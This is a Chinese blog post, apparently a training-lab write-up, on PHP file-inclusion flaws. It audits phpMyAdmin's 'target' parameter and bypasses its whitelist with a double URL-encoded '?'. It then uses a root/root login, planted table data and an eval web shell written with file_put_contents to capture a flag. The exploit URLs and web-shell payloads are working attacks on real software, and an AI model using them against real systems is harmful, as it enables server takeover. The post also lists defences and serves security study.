掌控安全學(xué)習(xí)-本地包含與遠(yuǎn)程包含漏洞

知識(shí)梳理

1. 文件包含漏洞

文件包含本身不是漏洞,但是對(duì)于包含進(jìn)來(lái)的文件制不嚴(yán)格,就導(dǎo)致了文件包含漏洞的產(chǎn)生,最終造成攻擊者進(jìn)行任意文件包含。(注:包含的文件會(huì)被當(dāng)成腳本文件來(lái)解析)
注:包含文件很有用,可以簡(jiǎn)化代碼

2. 文件包含分為本地和遠(yuǎn)程文件包含

本地文件包含:LFI
遠(yuǎn)程文件包含:RFI(需要allow_url_include = On

3. 危險(xiǎn)函數(shù)

  • include()

文件被多次包含時(shí),會(huì)拋出錯(cuò)誤,但不影響程序向下執(zhí)行

  • require()

文件被多次包含時(shí),會(huì)拋出致命性的錯(cuò)誤,程序?qū)⒔K止向下執(zhí)行。

  • include_once()

文件只能被包含一次,如果多次包含,則會(huì)拋出錯(cuò)誤,但不影響程序的向下執(zhí)行。

  • require_once()

文件只能被包含一次,如果多次博涵,則會(huì)拋出致命錯(cuò)誤,程序?qū)⒔K止向下執(zhí)行。
ps:dfsgfa/../,并不是任意標(biāo)點(diǎn)都可以,會(huì)影響到的特殊標(biāo)點(diǎn)有*?,遇到要包含的文件需要傳參,使用&代替;如?1.txt&8=phpinfo();

4. 防御方法

  • 無(wú)需情況下設(shè)置allow_url_include和allow_url_fopen為關(guān)閉
  • 對(duì)可以包含的文件進(jìn)行限制,可以使用白名單的方式,或者設(shè)置可以包含的目錄,

靶場(chǎng)

靶場(chǎng)地址

http://59.63.200.79:8010/lfi/phpmyadmin/
源碼地址http://59.63.200.79:8010/lfi/phpMyAdmin.zip

  • 下載源碼進(jìn)行代碼審計(jì)

搜索危險(xiǎn)函數(shù)include|require|include_once|require_once排查這些函數(shù)中有沒(méi)有用戶(hù)可控的。
發(fā)現(xiàn)這里有一個(gè)$_REQUEST,用戶(hù)可控參數(shù)。

image

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

該文件包含,在if判斷內(nèi),需要滿足if判斷條件才能執(zhí)行

! empty($_REQUEST['target']         target傳參不能為空
is_string($_REQUEST['target'])      target傳參需要是字符串
! preg_match('/^index/', $_REQUEST['target'])       不能以index開(kāi)頭
! in_array($_REQUEST['target'], $target_blacklist)  傳參內(nèi)容不在黑名單內(nèi)
Core::checkPageValidity($_REQUEST['target'])    ::表示調(diào)用了一個(gè)自定義函數(shù),當(dāng)返回為true時(shí)成立
  • 對(duì)target_blacklist自定函數(shù)進(jìn)行追蹤
$target_blacklist = array (
    'import.php', 'export.php'
);

不能包含import.php或export.php

  • 對(duì)checkPageValidity()進(jìn)行追蹤
 public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

從上至下依次分析
需要滿足$goto_whitelist

  • 對(duì)goto_whitelist進(jìn)行追蹤,發(fā)現(xiàn)白名單
    public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

$page是該自定義函數(shù)的第一個(gè)傳參,即之前的target.

        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

傳參需要肯定不會(huì)在白名單呢,這個(gè)判斷不能利用,跳過(guò);

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

mb_substr函數(shù)是從第幾取幾位,這邊會(huì)在傳參的值后面加一個(gè)?然后截取?前的內(nèi)容,前面要求傳參不能有?,所以此處也不可利用,跳過(guò);

$_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

get傳參會(huì)默認(rèn)解碼一次url,urldecode()是再進(jìn)行一次url解碼
這里可以解決之前?不能解碼的問(wèn)題,?對(duì)應(yīng)的url編碼是%3F,%對(duì)應(yīng)的url編碼是%25,所有可以構(gòu)建

db_sql.php%253F/../待包含文件
  • 嘗試弱密碼登陸后臺(tái)

root,root

image

  • 查找變量basedir,找到數(shù)據(jù)庫(kù)所在路徑。

image

得到路徑C:/phpStudy/MySQL/

  • 創(chuàng)建數(shù)據(jù)庫(kù),表,在字段中寫(xiě)入一句話木馬
image

URL中插入

http://59.63.200.79:8010/lfi/phpmyadmin/?target=sql.php%253f/../../../../../phpStudy/MySQL/data/zzz/zzzz.frm&a=phpinfo();
image
  • 嘗試使用file_put_contents寫(xiě)入一句話網(wǎng)頁(yè)

file_put_contents('zzz.php','<?php eval($_REQUEST[a]) ?>');

http://59.63.200.79:8010/lfi/phpmyadmin/?target=sql.php%253f/../../../../../phpStudy/MySQL/data/zzz/zzzz.frm&file_put_contents('zzz.php','<?php eval($_REQUEST[a]) ?>');
image
  • 菜刀連接

http://59.63.200.79:8010/lfi/phpmyadmin/zzz.php
得到flag:zkz{_niCe_tO+lfI}

image

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容